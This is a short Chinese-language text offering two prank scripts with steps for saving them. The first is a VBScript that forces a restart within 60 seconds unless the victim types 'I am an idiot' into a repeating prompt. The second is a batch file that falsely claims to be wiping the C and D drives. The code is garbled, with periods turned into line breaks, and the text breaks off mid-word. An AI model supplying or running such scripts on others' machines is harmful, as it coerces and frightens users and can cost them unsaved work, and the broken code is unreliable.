(1)on error resume next dim WSHshellA set WSHshellA = wscript
createobject("wscript
shell") WSHshellA
run "cmd
exe /c shutdown -r -t 60 -c ""哈哈你惨了,回答个问题才不关你机,不回答我问题就在就一分钟关你机,请回答""我是个傻瓜"" 不信,试试看···"" ",0 ,true dim a do while(a "我是个傻瓜") a = inputbox ("呵呵,说 我是个傻瓜,就不关机,快说,说 ""我是个傻瓜"" ","说不说","有本事就不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript
createobject("wscript
shell") WSHshell
run "cmd
exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾
叫你不陪我说话" 用记事本保存扩展名为
vbe (2)建个记事本 写上下事的代码,保存后改扩展名TXT 为bat 就可以了,这是吓人用的
@ color 4f @echo off echo 删除计算机的C 盘的所有文件
ping 127
1 /n 2 >nu l echo 已删除完毕 echo
echo 删除计算机的D 盘的所有文件
ping 127
1 /n 2 >nu l echo 已删除完毕 ech